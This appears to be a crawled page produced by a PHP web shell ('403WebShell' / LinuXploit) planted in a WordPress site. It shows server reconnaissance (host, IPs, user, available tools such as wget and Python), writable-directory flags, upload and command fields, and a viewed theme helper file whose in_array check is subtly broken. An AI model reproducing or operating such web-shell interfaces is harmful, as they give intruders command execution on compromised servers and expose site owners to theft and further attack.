Uname:Linux webm002.cluster129.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64

403WebShell
403Webshell
Server IP : 51.91.236.255  /  Your IP : 216.73.216.180
Web Server : Apache
System : Linux webm002.cluster129.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : laureet ( 1012854)
PHP Version : 8.0.30
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/laureet/www/wp-content/themes/rhye/inc/functions/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/laureet/www/wp-content/themes/rhye/inc/functions/helpers/get_taxonomy_term_names.php
<?php

/**
 * Get the term names of taxonomy
 *
 * @param string $post_id
 * @param string $taxonomy
 * @return array
 */
function arts_get_taxonomy_term_names( $post_id, $taxonomy ) {
	$items = get_the_terms( $post_id, $taxonomy );
	$arr   = array();

	if ( is_array( $items ) ) {
		foreach ( $items as $item ) {

			$temp = array(
				'slug' => $item->slug,
				'name' => $item->name,
			);

			// don't add the same item multiple times
			if ( ! in_array( $arr, $temp ) ) {
				array_push( $arr, $temp );
			}
		}
	}

	return $arr;
}

Youez - 2016 - github.com/yon3zu
LinuXploit